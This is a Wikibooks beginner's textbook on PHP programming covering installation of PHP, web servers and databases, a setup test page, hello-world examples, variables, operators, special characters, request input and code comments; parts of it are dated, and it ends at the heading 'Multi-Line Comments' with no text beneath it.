PHP Programming

en.wikibooks.org

July 6, 2024

Contents

1 User:Dirk Hünniger/PHP Programming

2 Introduction

PHP is a scripting[1] language designed to fill the gap between SSI[2] (Server Side Includes) and Perl[3], intended for the Web environment. Its principal application is the implementation of Web pages having dynamic content. PHP has gained quite a following in recent times, and it is one of the frontrunners in the Open Source software movement. Its popularity derives from its C-like syntax, and its simplicity. The newest version of PHP is 7.0 and it is heavily recommended to always use the newest version for better security, performance and of course features.

If you've been to a website that prompts you to login, you've probably encountered a server-side scripting language. Due to its market saturation, this means you've probably come across PHP. PHP is even used to run sites such as Wikibooks. PHP[4] was designed by Rasmus Lerdorf[5] to display his resume online and to collect data from his visitors.

Basically, PHP allows a static webpage to become dynamic. "PHP" is an acronym that stands for "**P**HP: **H**ypertext **P**reprocessor". The word "Preprocessor" means that PHP makes changes before the HTML page is created. This enables developers to create powerful applications that can publish a blog, remotely control hardware, or run a powerful website such as Facebook or Wikipedia. Of course, to accomplish something such as this, you need a database application such as MySQL.

Before you embark on the wonderful journey of Server Side Processing, it is recommended that you have a basic understanding of the HyperText Markup Language (HTML)[6]. But PHP[7] can also be used to build GUI[8]-driven applications for example by using PHP-GTK[9].

1 https://en.wikipedia.org/wiki/Scripting_programming_language
2 https://en.wikipedia.org/wiki/Server_Side_Includes
3 https://en.wikibooks.org/wiki/Perl
4 https://en.wikipedia.org/wiki/PHP
5 https://en.wikipedia.org/wiki/Rasmus_Lerdorf
6 https://en.wikibooks.org/wiki/HTML
7 https://en.wikipedia.org/wiki/PHP
8 https://en.wikipedia.org/wiki/GUI
9 https://en.wikipedia.org/wiki/PHP-GTK

3 Setup and Installation

3.1 Principle

Since PHP is a server-side technology, you should naturally expect to invest some time in setting up a server environment for production, development or learning. To be frank, PHP is quite easy to set up compared to other monsters like J2EE.

Nevertheless, the procedures are complicated by the various combinations of different versions of web server, PHP and database (most often MySQL). That's why in a process of learning it's possible to execute some commands on [1] or Tutorialspoint, without installing anything.

Below we will introduce the steps needed to set up a working PHP environment with MySQL database on one's machine.

3.2 Linux

If your desktop runs on Linux, chances are that Apache, PHP, and MySQL are already installed for you. This wildly popular configuration is commonly referred to as LAMP, i.e. **L**inux **A**pache **M**ySQL **P**HP, or **P**, the latter 'P', can also refer to **P**erl another major player in the opensource web service arena. If some components are not installed, you will likely have to manually install the following packages:

- Apache or Lighttpd
- PHP
- MySQL or Postgres
- The PHP integration plugin for the database.

3.2.1 Debian or its derivatives

On Debian or its derivatives, Ubuntu included[1][2], you can use the corresponding commands:

```
apt-get install php5

## Server
#### If you wish to use Apache
apt-get install apache2 libapache2-mod-php5
a2enmod php5
service apache2 restart
## -or-
#### If you wish to use Lighttpd
apt-get install lighttpd php5-cgi
```

1 http://phpfiddle.org/

```
lighttpd-enable-mod fastcgi fastcgi-php
service lighttpd restart

## Database
#### If you wish to use Postgres
apt-get install postgres-server    postgres-client    php5-pg
## -or-
#### If you wish to use Mysql
apt-get install mysql-server       mysql-client       php5-mysql
```

^3 If you chose to use Ubuntu with Apache and MySQL you might wish to utilize the Ubuntu community site for such a configuration ubuntu lamp wiki[4].

3.2.2 Gentoo

For Gentoo Linux users, the gentoo-wiki has this HowTo available: Apache2 with PHP and MySQL[5].

In general, you'll want to do the following under Gentoo:

```
emerge apache
emerge mysql
emerge mod_php
```

3.2.3 RPM-based

The exact procedures depend on your Linux distribution. On a Fedora system, the commands are typically as follows:

```
yum install httpd
yum install php
yum install mysql
yum install php-mysql
```

It's impossible to cover all the variants here, so consult your Linux distribution's manual for more details, or grab a friend to do it for you.

One sure-fire way of getting PHP up and running on your *nix system is to compile it from source. This isn't as hard as it may sound and there are good instructions available in the PHP manual[6].

3.3 Windows

PHP on Windows is also a very popular option. On a Windows platform, you have the option to use either the open source Apache[7] web server, or the native Internet Information

3 #ref_Ubuntu
4 https://help.ubuntu.com/community/ApacheMySQLPHP
5 http://gentoo-wiki.com/HOWTO_Apache2_with_PHP_MySQL
6 http://au.php.net/manual/en/install.unix.php
7 http://httpd.apache.org/

Services (IIS) server from Microsoft, which can be installed by searching the start menu or control panel for 'Turn Windows Features On or Off' (Windows 7, 8, 10), or via Windows CD on older installations. When you have one of these servers installed, you can download and install the appropriate PHP Windows binaries distributions from the PHP download page[8]. The installer version requires less user-interaction.

For increased performance you will want to use FastCGI. There is a wikibook that will assist you on Setting up IIS with FastCGI[9].

3.3.1 Databases

On Microsoft Windows you must always install your own database.

Some popular choices are the open source Postgres, SQLite, and MySQL. Postgres and SQLite are more liberally licensed, and are free to use for commercial purposes.SQLite is solely an embedded database, similar to Microsoft Access, and is hosted on the same application server as the PHP instance or applications that are referencing it, whereas MySQL and Postgres are typically used a database server that may be connected to by many machines at once.

PostgreSQL

Official Zend documentation: `http://us.php.net/pgsql`

Postgres is simple and easy to install, browse to `http://www.postgresql.org/ftp/binary/v8.3.0/win32/` and download the exe and double-click.

MySQL

Official MySQL documentation: `http://us.php.net/mysql`

You might wish to install the MySQL database. You can download the Windows version of MySQL[10], and follow the installation instructions. If you have PHP 4, you do not need to install the equivalence of php-mysql on Linux, as MySQL support is built-in in Windows distributions of PHP. In PHP 5 you will need to uncomment the following line in your php.ini file (that is, remove the ';' at the beginning of the line):

```
;extension=php_mysql.dll
```

3.3.2 Bundled Package

If you find all the above too much a hassle, you have another option. Driven by the eternal desire to do things the safe/easy way, several conveniently packaged AMP bundles of Apache/MySQL/PHP can be found on the net. One of them is PHPTriad[11]. Or, you

8 `http://www.php.net/downloads.php`
9 `https://en.wikibooks.org/wiki/IIS_and_FastCGI`
10 `http://dev.mysql.com/downloads/`
11 `http://sourceforge.net/projects/phptriad/`

can try Uniform Server[12]. It is a small WAMP[13] Package. (The acronym *WAMP* refers to a server stack where Microsoft Windows is the operating system, Apache is the Web server, MySQL handles the database components, and PHP, Python, or PERL represents the dynamic scripting languages). [1] Uniformserver is packaged as a self-extracting zip archive, and is easy to use. After trying it out you can simply delete the directory and everything is clean. XAMPP for Windows[14] is another WAMP server that is easy to use. In addition, it has an installation option that allows you to install it on a computer if you have administration rights. XAMPP has options to run PERL and JAVA (on a tomcat server). A number of other portable Windows AMP package choices are summarized at List of portable Web Servers[15].

Also, a package installer called **WAMPserver** is available. It simply installs Apache, PHP and MySQL on windows with ease.[2]

3.3.3 Easy Windows Setup Instructions

1) PHP authoring environment

- Any text editor will do, but I recommend one with syntax coloring especially for someone new to coding or PHP. Notepad++ is my favorite so far with its ease of use, customizability and the ability to collapse tags. All editor help will be in reference to Notepad++
- Install Notepad++. Download the binary file from here: [16]

2) PHP running environment

- Now that you have the ability to create and save PHP files you need an environment that can process them and generate the output that your browser displays. There are two ways to accomplish this.
  1. Get a web host that supports PHP and upload your files every time you make a change.
  2. Use your own computer as a personal server with PHP support, and only upload final versions to a web host.
- Accomplishing 2. above is actually easier than you think (assuming you are running Windows).
  1. Download The uniform server. Here is the link to the latest version: [17]
  2. Run the self-extractor UniServerX_Y_Z.exe. Copy the directory to your "C:" drive so the full path is "C:\UniServer".
  3. In the directory where you had it extract hit the "Start.exe" file to get the server running
  4. Place any files and subfolders you want the server to read and process in the "www" folder.

12 http://www.uniformserver.com
13 https://en.wikibooks.org/w/index.php?title=WAMP&action=edit&redlink=1
14 http://www.apachefriends.org/en/xampp-windows.html
15 http://www.portablefreeware.com/?sc=125
16 http://notepad-plus.sourceforge.net/uk/site.htm
17 http://sourceforge.net/projects/miniserver/files/

5. Your web browser should open to "[18]"

- Now you have the resources to effectively edit PHP documents and process them on your own computer.
- Here is how to create a test page

1. Inside "C:\UniServer\www\", create a webpage called "test.php"
2. Edit "test.php" with Notepad++, and copy the following

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>Test Page</title>
<meta name="Description" content="Test Page" />
<meta name="Keywords" content="Test,Page" />
</head>
<body>
<?php
  $string = 'Hello world! <br/>';
  echo $string;

  print $string;

  printf('%s', $string);
?>
</body>
</html>
```

1.
2. Save the webpage as "C:\UniServer\www\test.php"
3. Open "[19]" in your web browser to view the page. You should see:

Hello world!

Hello world!

Hello world!

1.
2. (Optional: Follow these instructions for how to make PHP code work with webpages that end in ".html" in addition to ".php": `http://www.desilva.biz/php/phpinhtml.html`)

3.4 Mac OS X

Mac OS X comes with Apache server as standard, and enabling it is as simple as checking the box next to 'Personal Web Sharing' in the 'Sharing' section of System Preferences. Once you have done this you can place files in /Library/WebServer/Documents to access them

18 `http://localhost/index.php`
19 `http://localhost/test.php`

on your server. Mac OS X does come with PHP but the installation lacks any significant quantity of extensions, so if you want any you're going to have to install PHP yourself. You can do this by following the instructions in Apple's Developer Connection[20], or you can download an automatic installer such as the ones available at Entropy[21]. Once you've done one of those, you'll have a server with PHP running on your Mac.

To install MySQL just download and run the OS X installer package[22] or use XAMPP for MacOS X[23].

If you use unix or learning it, however, compiling might be the way to go for all three, or just the ones you like. The advantage is that you can choose exactly that extensions you want for PHP and Apache. Also you can choose which versions to compile together. To do this make sure you have the Developer Tools installed. They are shipped with OS X.

20 http://developer.apple.com/internet/opensource/php.html
21 http://www.entropy.ch/software/macosx/php/
22 http://www.serverlogistics.com/mysql.php
23 http://www.apachefriends.org/en/xampp-macosx.html

4 How Do I Know My Setup is Working?

After you have successfully completed the previous section, it's time to make sure that everything went well. You also get the chance to write your very first PHP scripts! Open your favourite *plain* text editor[1] (*not* Microsoft Word or another word processor[2]), and type the following magical line:

```
<?php phpinfo(); ?>
```

Save it as phpinfo.php in your web server's root document directory. If you are using a web hosting server, upload it to the server to where you would place HTML files. Now, open up your web browser, and go to http://localhost/phpinfo.php, or http://your-web-hosting-server.com/phpinfo.php if you are using a web hosting server, and look at the output.

Now scroll down that page and make sure there is a table with the title ”mysql”, and the top row should read: ”MySQL support: enabled”. If your output does not have this, your particular installation of PHP does not have MySQL support enabled. Note that this test doesn't tell you whether MySQL server is running. You should fire up your MySQL client and check before you proceed.

Some dedicated php or script editors even have color coding of different words that can be very useful for finding mistakes. A free implementation of this is the powerful Notepad++, available from Sourceforge[3] and licensed under the GPL.

4.1 Notes

1. [4]
2. Wamp server[5]

1 https://en.wikipedia.org/wiki/text_editor
2 https://en.wikipedia.org/wiki/word_processor
3 http://sourceforge.net/projects/notepad-plus
4 http://www.webopedia.com/TERM/W/WAMP.html
5 http://www.wampserver.com/en/

5 Uses of PHP

5.1 Commercial Web Hosting

The best scenario is if you have access to a commercial (perhaps free) web hosting service. Most likely it supports PHP and MySQL ”out of the box”; it's pretty standard these days. The downside is, unless you have shell access and are comfortable with text-mode text editors, you will have to FTP your PHP scripts to the server every time you make any changes (that will be very often), this gets very annoying after a while. If your desktop is running on Windows, I suggest you download the text editor editplus[1], which can open a file over FTP and whenever you save, upload automatically to the FTP site. A good open source alternative is jEdit[2], which can open and save automatically over FTP and even SFTP (secure) if one installs the FTP plugin[3]. jEdit is written in Java, so it runs on Mac OS X, OS/2, Unix, VMS and Windows. For you Linux people, you can also use something like CurlFtpFS ([4]), which lets you mount an FTP location as if it were any other mountable object, and thus all those nasty file transfers are done transparently, and you can use any editor you want. If you're blessed with a shell account, but are equally lazy, SSHFS ([5]) is the one for you (assuming you use SSH to access your account...)

Please remember that anytime you upload an executable script to your web site, you create an opportunity for a malicious user to exploit any vulnerabilities in your code. In fact, one of the major advantages of operating on a commercial web host's server is that your scripts are prevented from affecting many critical parts of the machine. As long as you do not store important information on your web site, any damage a malicious user could cause will be kept to a minimum.

Some web hosting companies offer different features but most have a purchased product that allows you to navigate your server space quite easily. It is called cPanel[6] and it is a great way to learn how to either start web designing or become an advanced web designer/programmer. Plesk[7] is similar in nature.

1 http://www.editplus.com/
2 http://www.jedit.org/
3 http://plugins.jedit.org/plugins/?FTP
4 http://curlftpfs.sourceforge.net/
5 http://fuse.sourceforge.net/sshfs.html
6 https://en.wikipedia.org/wiki/Cpanel
7 https://en.wikipedia.org/wiki/Plesk

5.2 Desktop application

PHP can be used to create desktop applications by using extensions like PHP GTK[8] , ZZEE PHP GUI[9]. But it is rarely used since it provides low performance comparing to other desktop applications developed in native languages like C++ and it might get complex.

8 http://gtk.php.net/
9 http://www.zzee.com/php-gui/

6 Beginning_with ”Hello World!”

This page makes use of Color Code Boxes[1]. Use the discussion page[2] to leave any feedback regarding this new feature. Return to The Basics[3].

6.1 The Code

6.1.1 Simple Hello World

”Hello World.” is the first program most beginning programmers will learn to write in any given language. Here is an example of how to print ”Hello World!” in PHP.

Code:

```
<?php
  echo "Hello World!";
  echo "We are learning PHP!";
```

Output:

```
Hello World!
We are learning PHP!
```

This is as basic as PHP gets. Three simple lines, the first line identifies that everything beyond the *<?php* tag is PHP code (until the end of the file, or until a *?>* tag). The second and third lines write a text greeting on the web page. This next example is slightly more complex and uses variables.

1 https://en.wikibooks.org/wiki/Template:Code

2 https://en.wikibooks.org/w/index.php?title=User_talk:Dirk_H%C3%BCnniger/PHP_Programming&action=edit&section=19

3 https://en.wikibooks.org/wiki/PHP_Programming#The_Basics

6.1.2 Hello World With Variables

This example stores the string "Hello World!" in a variable called *$string*. The following lines show various ways to display the variable *$string* to the screen.

PHP Code:

```
<?php
  // Declare the variable 'string' and assign it a value.
  // The <br> is the HTML equivalent to a new line.
  $string = 'Hello World!<br>';

  // You can echo the variable, similar to the way you would echo a string.
  echo $string;

  // You could also use print.
  print $string;

  // Or, if you are familiar with C, printf can be used too.
  printf('%s', $string);
```

PHP Output:

```
Hello World!<br>Hello World!<br>Hello World!<br>
```

HTML Render:

Hello World!
Hello World!
Hello World!

The previous example contained two outputs. PHP can output HTML that your browser will format and display. The *PHP Output* box is the exact PHP output. The *HTML Render* box is approximately how your browser would display that output. Don't let this confuse you, this is just to let you know that PHP can output HTML. We will cover this much more in depth later.

6.2 New Concepts

6.2.1 Variables

Variables are the basis of any programming language: they are "containers" (spaces in memory) that hold data. The data can be changed, thus it is "variable".

If you've had any experience with other programming languages, you know that in some of the languages, you must define the type of data that the variable will hold. Those languages are called *statically-typed*, because the types of variables must be known before you store

something in them. Programming languages such as C++[4] and Java[5] are statically-typed. PHP, on the other hand, is *dynamically-typed*, because the type of the variable is linked to the value of the variable. You could define a variable for a string, store a string, and then replace the string with a number. To do the same thing in C++, you would have to cast, or change the type of, the variable, and store it in a different ”container”.

All variables in PHP follow the format of a dollar sign ($) followed by an identifier i.e. $variable_name. These identifiers are case-sensitive, meaning that capitalization matters, so $wiki is different from $Wiki.

Real world analogy

To compare a variable to real world objects, imagine your computer's memory as a storage shed. A variable would be a box in that storage shed and the contents of the box (such as a cup) would be the data in that variable.

If the box was labeled *kitchen stuff* and the box's contents were a cup, the PHP code would be:

```
$kitchen_stuff = 'cup';
```

If I then went into the storage shed, opened the box labeled *kitchen stuff*, and then replaced the cup with a fork, the new code would be:

```
$kitchen_stuff = 'fork';
```

Notice the addition of the **=** in the middle and the **;** at the end of the code block. The **=** is the assignment operator, or in our analogy, instructions that came with the box that states ”put the cup in the box”. The **;** indicates to stop evaluating the block of code, or in our analogy, finish up with what you are doing and move on to something else.

Also notice the cup was wrapped in single quotes instead of double. Using double quotes would tell the PHP parser that there may be more than just a cup going into the box and to look for additional instructions.

```
$bathroom_stuff = 'toothbrush';
$kitchen_stuff = "cup $bathroom_stuff";

//$kitchen_stuff contents is now '''cup toothbrush'''
```

Single quotes tell the PHP parser that it's only a cup and not to look for anything more. In this example the bathroom box that should've had its contents added to the kitchen box has its name added instead.

```
$bathroom_stuff = 'toothbrush';
$kitchen_stuff = 'cup $bathroom_stuff';

//$kitchen_stuff contents is now '''cup $bathroom_stuff'''
```

4 https://en.wikibooks.org/wiki/Subject:C%2B%2B
5 https://en.wikibooks.org/wiki/Java_Programming

So again, try to visualize and associate the analogy to grasp the concept of variables with the comparison below. Note that this is a real world object comparison and **NOT PHP** code.

Computer memory (RAM) = storage shed
Variable = a box to hold stuff
Variable name = a label on the box such as *kitchen stuff*
Variable data = the contents of the box such as a *cup*

Notice that you wouldn't name the variable `box`, as the relationship between the variable and the box is represented by the `$` and how the data is stored in memory. For example, a constant and array can be considered a type of variable when using the box analogy as they all are containers to hold some sort of contents, however, the difference is on how they are defined to handle the contents in the box.

`Variable`: a box that can be opened while in the storage shed to exchange the contents in the box.

`Constant`: a box that cannot be opened to exchange its contents. Its contents can only be viewed and not exchanged while inside the storage shed.

`Array`: a box that contains one or more additional boxes in the main box. To complicate matters for beginners, each additional box may contain a box as well. In the kitchen stuff box we have two boxes, the clean cup box

```
$kitchen_stuff["clean_cup"] = 'the clean cup';
```

and the dirty cup box

```
$kitchen_stuff["dirty_cup"] = 'the dirty cup';
```

More on variables[6], from the PHP manual

6.2.2 The print and echo statements

Print is the key to output. It sends whatever is in the quotes (or parentheses) that follow it to the output device (browser window). A similar function is **echo**, but print allows the user to check whether or not the print succeeded.

When used with quotation marks, as in:

```
print "Hello, World!";
```

The quoted text is treated as if it were a string, and thus can be used in conjunction with the concatenation (joining two strings together) operator as well as any function[7] that returns a string value.

6 http://www.php.net/manual/en/language.variables.php
7 https://en.wikibooks.org/wiki/Programming:PHP:functions

The following two examples have the same output.

```
print "Hello, World!";
```

and

```
print "Hello" . ", " . "World!";
```

The dot symbol concatenates[8] two strings. In other programming languages, concatenating a string is done with the plus symbol and the dot symbol is generally used to call functions from classes.

Also, it might be useful to note that under most conditions **echo** can be used interchangeably with **print**. **print** returns a value, so it can be used to test, if the print succeeded, while **echo** assumes everything worked. Under most conditions there is nothing we can do, if **echo** fails.

The following examples have the same output again.

```
echo "Hello, World!";
```

and

```
echo "Hello" . ", " . "World!";
```

We will use **echo** in most sections of this book, since it is the more commonly used statement.

It should be noted that while **echo** and **print** can be called in the same way as functions, they are, in fact, language constructs, and can be called without the brackets. Normal functions (almost all others) must be called with brackets following the function identifier.

6.3 External links

- PHP Manual: Echo[9]
- PHP Manual: Print[10]
- PHP Manual: Variables[11]

8 https://en.wikipedia.org/wiki/Concatenate
9 http://www.php.net/manual/en/function.echo.php
10 http://www.php.net/manual/en/function.print.php
11 http://www.php.net/manual/en/language.variables.php

7 Nuts and Bolts

This page makes use of Color Code Boxes[1]. To leave your feedback regarding this new feature, please click here[2].

7.1 The Examples

7.1.1 Example 1 - Basic arithmetic operators

This example makes use of the five basic **operators** used in mathematical expressions. These are the foundation of all mathematical and string operations performed in PHP.

+	-	*	/	=
add	subtract	multiply	divide	assign

The five mathematical operators all function identically to those found in C++[3] and Java[4]

1 https://en.wikibooks.org/wiki/Template:Code
2 https://en.wikibooks.org/w/index.php?title=Talk:Programming:PHP&action=edit&section=19
3 https://en.wikibooks.org/wiki/Subject:C%2B%2B_programming_language
4 https://en.wikibooks.org/wiki/Subject:Java_programming_language

Examine this example. Each mathematical expression to the right of the *assign* operator is evaluated, using the normal order of operations. When the expression has been evaluated, the resultant value is assigned to the variable named to the left of the *assign* operator.

PHP Code:

```
<?php
  $x = 25;
  $y = 10;
  $z = $x + $y;
  echo $z;

  echo "<br />";
  $z = $x/$y;
  echo $z;

  echo "<br />";
  $z = $y*$y*$x;
  echo $z - 1250;
  echo "<br />";
?>
```

PHP Output:

```
35<br />2.5<br />1250<br />
```

HTML Render:

35
2.5
1250

Note: If you are not familiar with (X)HTML, you may not know the purpose of this part of the above code:

```
echo "<br />";
```

Its purpose is to insert an HTML "line break" between the results, causing the browser to display each result on a new line when rendering the page. In the absence of this line, the above code would instead print:

```
352.51250
```

This is of course not the desired result.

There are two code options that perform the opposite of the assign (=) operator. The keyword `null` should be used for variable nullification, which is actually used *with* the assign operator (=) in place of a value. If you want to destroy a variable, the `unset()` language construct is available.

Examples:

```
$variable = null;
```

or

```
unset($variable);
```

Apart from that, the powers of 10 can be introduced with the letter ”e”:

```
print 2e1;  // 20
print 4e-3; // 0.004
```

The number formatting is realized by `number_format()`: number of decimals, decimal separator and thousand separator. Example:

```
print number_format(3333.333333, 2, ',', ' ');  // 3 333,33
```

7.1.2 Example 2 - String concatenation

This example demonstrates the *concatenation* operator (`.`), which joins together two strings, producing one string consisting of both parts. It is analogous to the plus (`+`) operator commonly found in C++ string class[5] (*see STL*[6]), Java, JavaScript, Python implementations.

The statement

```
$string = $string . " " . "All the cool kids are doing it.";
```

prepends the current value of `$string` (that is ”PHP is wonderful and great.”) to the literal string ” All the cool kids are doing it.” and assigns this new string to `$string`.

5 https://en.wikibooks.org/wiki/C%2B%2B_Programming/Code/IO/Streams/string
6 https://en.wikibooks.org/wiki/C%2B%2B_Programming/STL

Code:

```
<?php
  $string = "PHP is wonderful and great.";
  $string = $string . " " . "All the cool kids are doing it.";
  echo $string;
?>
```

Output:

```
PHP is wonderful and great. All the cool kids are doing it.
```

As we all know, or for those new to programming will soon find it, programmers are always searching for "tighter code". Simply put, we pride ourselves in doing the most work with the fewest keystrokes. With that in mind, here's a trick that can save those precious keystrokes: concatenate and assign at the same time. It's easy. Let's take the same example as above.

Code:

```
<?php
  $string = "PHP is wonderful and great.";
  $string .= " " . "All the cool kids are doing it.";
  echo $string;
?>
```

Output:

```
PHP is wonderful and great. All the cool kids are doing it.
```

You just saved 8 keystrokes with the exact same output. Big deal? Imagine having to do that with 100 lines of template code like I did recently. Yes, it's a big deal. By the way, if you change the implementation without changing the output, that's known as refactoring. Get comfy with that term. You'll be using it a lot. See more examples of compound assignments below.

7.1.3 Example 3 - Shortcut operators

This snippet demonstrates self-referential shortcut operators. The first such operator is the `++` operator, which increments `$x` (using the postfix form) by `1` giving it the value `2`. After incrementing `$x`, `$y` is defined and assigned the value `5`.

The second shortcut operator is `*=`, which takes `$y` and assigns it the value `$y*$x`, or `10`.

After initializing `$z` to `180`, the subsequent line performs two shortcut operations. Going by order of operations (see manual page below), `$y` is decremented (using the prefix form) and divided into `$z`. `$z` is assigned to the resulting value, `20`.

Code:

```
<?php
  $x = 1;
  $x++;
  echo $x . " ";
  $y = 5;
  $y *= $x;
  echo $y . " ";
  $z = 180;
  $z /= --$y;
  echo $z;
?>
```

Output:

```
2 10 20
```

Note: The expanded version of the above code (without the shortcut operators) looks like this:

```
<?php
  $x = 1;
  $x = $x + 1;
  echo $x . " ";
  $y = 5;
  $y = $y*$x;
  echo $y . " ";
  $z = 180;
  $y = $y - 1;
  $z = $z/$y;
  echo $z;
?>
```

The output is the same as seen in the above example.

7.2 New Concepts

7.2.1 Operators

An operator is any symbol used in an expression used to manipulate data. The seven basic PHP operators are:

- = (assignment)
- + (addition)
- - (subtraction)
- * (multiplication)
- / (division)
- % (modulus)

- `.` (concatenation)

In addition, each of the above operators can be combined with an assignment operation, creating the operators below:

- `+=` (addition assignment)
- `-=` (subtraction assignment)
- `*=` (multiplication assignment)
- `/=` (division assignment)
- `%=` (modulus assignment)
- `.=` (concatenation assignment)

These operators are used when a variable is added, subtracted, multiplied or divided by a second value and subsequently assigned to itself.

In other words, the statements

```
$var = $var + 5;
```

and

```
$var += 5;
```

are equivalent.

There are also increment and decrement operators in PHP.

- `++` (increment)
- `--` (decrement)

These are a special case of the addition and subtraction assignment operators.

This code uses the addition assignment operator to increment and decrement a variable.

 **Code:**

```
$var = 0;

$var += 1;
echo "The incremented value is $var.\n";

$var -= 1;
echo "The decremented value is $var.\n";
```

 **Output:**

```
The incremented value is 1.
The decremented value is 0.
```

While this is perfectly legal in PHP, it is somewhat lengthy for an operation as common as this. It can easily be replaced by the increment operator, shortening the statement.

This code snippet uses the increment and decrement operators to increase and decrease a variable's value by one.

Code:

```
$var = 3;

$var++;
echo "The incremented value is $var.\n";

$var--;
echo "The decremented value is $var.\n";
```

Output:

```
The incremented value is 4.
The decremented value is 3.
```

Using the increment operator makes your code slightly easier to read and understand.

For a more in-depth overview of PHP's operators, including an explanation of bitwise operators, refer to the manual link below.

Precedence

Precedence determines the priority given to certain operators to be performed earlier in a statement. If an operator has higher precedence, it doesn't mean that it is of greater importance; the opposite can often be true.

AssociativityWhen multiple operators occur that have the same precedence (whether multiple instances of the same operator or just different operators with the same precedence), it becomes important to consider the associativity: whether right (to left), left (to right), or non-associative.

Examples where associativity is irrelevant In certain cases (as in the example below), especially where the same operator is present, the associativity may make no difference to the result.

The following...

```
$a = 5*2*3*4; // Equals 120
```

...with its left associativity is equivalent to:

```
$a = (((5*2)*3)*4); // Equals 120
```

However, in this case, right associativity would have produced the same result:

```
$a = (5*(2*(3*4))); // Would also equal 120
```

Examples where associativity is relevant in PHP (but not mathematically) In mathematics, it may be considered irrelevant in which direction a calculation is performed for operators with the same precedence.

For example, the following...

```
$a = 5 + 3 - 2 + 8; // Equals 14
```

...is equivalent to this (left associative) statement:

```
$a = (((5 + 3) - 2) + 8); // Equals 14
```

And, if this were considered according to human conventions in mathematical calculations, the following equivalent right associative expression would produce the same result:

```
$a = (5 + (3 + (-2 + 8))); // Would also equal 14
```

However, since we are dealing with a linear computer language that doesn't know to convert the "2" into a negative number and group it with the "8" before adding it to the "3" (and then the "5"), if PHP were to perform the following expression in a strict right associative manner, the following (mistaken) outcome would occur:

```
$a = (5 + (3 - (2 + 8))); // Would equal -2
```

Thus, the associativity is relevant and should be memorized (though it is generally good practice to make one's groupings explicit anyhow—both to avoid mistakes and to improve readability for others looking at the code).

Similar problems occur with multiplication and division. Although with human convention, all adjacent multiplication and division groups would have the multiplication performed at the numerator level and the division at the denominator level, the PHP interpreter does not know to do this, so it is bound to set the left(-to-right) convention when explicit groupings (via parentheses—that have highest precedence) have not been made:

```
$a = 5*4/2*3; // Equals 30
```

This is equivalent to the left associative:

```
$a = (((5*4)/2)*3); // Also equals 30
```

However, as with the addition/subtraction example above, performing this by right associativity (in a strictly reverse linear fashion) does not produce the same (intended) result:

```
$a = (5*(4/(2*3))); // Equals 3.33333
```

7.3 Newline and Other Special Characters

Both of the below examples make use of the **newline** character (`\n`, `\r\n` or `\r`, basing on the OS) to signify the end of the current line and the beginning of a new one.

The newline is used as follows:

Code:

```
echo "PHP is cool,\nawesome,\nand great.";
```

Output:

```
PHP is cool,
awesome,
and great.
```

Notice: the line break occurs in the output wherever the`\n` occurs in the string in the echo statement. However, a`\n` does not produce a newline when the HTML document is displayed in a web browser. This is because the PHP engine does not render the script. Instead, the PHP engine outputs HTML code, which is subsequently rendered by the web browser. The linebreak **`\n`** in the PHP script becomes HTML whitespace, which is skipped when the web browser renders it (much like the whitespace in a PHP script is skipped when the PHP engine generates HTML). This does not mean that the`\n` operator is useless; it can be used to add whitespace to your HTML, so if someone views the HTML generated by your PHP script they'll have an easier time reading it.

In order to insert a line-break that will be rendered by a web browser, you must instead use the
 tag to break a line.

Notice: The newline is `\n` for Linux/Unix-based systems, `\r\n` for Windows and `\r` for Mac's (until 1996, where MkLinux that bases on Linux came to the market).

Therefore the statement above would be altered like so:

```
echo 'PHP is cool,&lt;br /&gt;awesome&lt;br /&gt;and great.';
```

The function`nl2br()` is available to automatically convert newlines in a string to <`br /`> tags.

The string must be passed through the function, and then reassigned:

PHP Code:

```
$string = "This\ntext\nbreaks\nlines.";
$string = nl2br($string);
print $string;
```

PHP Output:

```
This<br />
text<br />
breaks<br />
lines.
```

HTML Render:

```
This
text
breaks
lines.
```

Additionally, the PHP output (HTML source code) generated by the above example includes linebreaks.

Other special characters include the ASCII`NUL` (`\0`) - used for padding binary files, **tab** (`\t`) - used to display a standard tab, and `return` (`\r`) - signifying a carriage return. Again, these characters do not change the rendering of your HTML since they add whitespace to the HTML source. In order to have tabs and carriage returns rendered in the final web page, &tab; should be used for tabs and
 should be used for a carriage return.

7.4 Input to PHP

PHP has a set of functions that retrieve input. If you are using standard input (such as that from a command-line), it is retrieved using the basic input functions:

Reading from standard input:

```
$mystring = fgets($stdin);
```

Or:

```
$stdin = fopen('php://stdin', 'r'); // opens standard input
$line = fgets($stdin); // reads until user presses ENTER
```

7.4.1 Web servers

On Web servers, information sent to a PHP app may either be a GET operation or a POST operation.

For a GET operation, the parameters are sent through the address bar. Parameters within the bar may be retrieved by using accessing `$_GET['parameter']`. On a POST operation, submitted input is accessed by `$_POST['parameter']`.

A more generic array, `$_REQUEST['parameter']` contains the contents of `$_GET`, `$_POST`, and `$_COOKIE`.

7.5 For More Information

- PHP Manual: Operators[7]
- PHP Manual: Expressions[8]
- PHP Manual: Strings[9]

7 `http://www.php.net/manual/en/language.operators.php`
8 `http://www.php.net/manual/en/language.expressions.php`
9 `http://www.php.net/manual/en/language.types.string.php`

8 Commenting and Style

As you write more complex scripts, you'll see that you **must** make it clear to yourself and to others exactly what you're doing and why you're doing it. Comments and ”good” naming can help you make clear and understandable scripts because:

- When writing a script that takes longer than a week, by the time you're done, you won't remember what you did when you started, and you will most likely need to know.
- Any script that is commonly used *will* need rewriting sooner or later. Rewriting is much easier (and in many cases, made possible) when you write down what you did.
- If you want to show someone your scripts, they should be nice and neat.

8.1 The comments

Comments are pieces of code that the PHP parser skips. When the parser spots a comment, it simply keeps going until the end of the comment without doing anything. PHP offers both one line and multi-line comments.

8.1.1 One-Line Comments

One-line comments are comments that start where ever you start them and end at the end of the line. With PHP, you can use both // and # for your one-line comments (# is not commonly used). Those are used mainly to tell the reader what you're doing the next few lines. For example:

```
//Print the variable $message
echo $message;
```

It's important to understand that a one-line comment doesn't have to 'black out' the whole line, it starts where ever you start it. So it can also be used to tell the reader what a certain variable does:

```
$message = ""; //This sets the variable $message to an empty string
```

The *$message = ””;* is executed, but the rest of the line is not.

One-line Comment Issues

- One-line comments end by either:
  1. a newline (an actual newline, not the \n newline mark) OR:
  2. a closing PHP tag of the ?> variety

- If a one-line comment is closed by a closing PHP tag will not be commented. The following will thus print out ”2”:

```
// echo "1"; ?> echo "2";
```

8.1.2 Multi-Line Comments

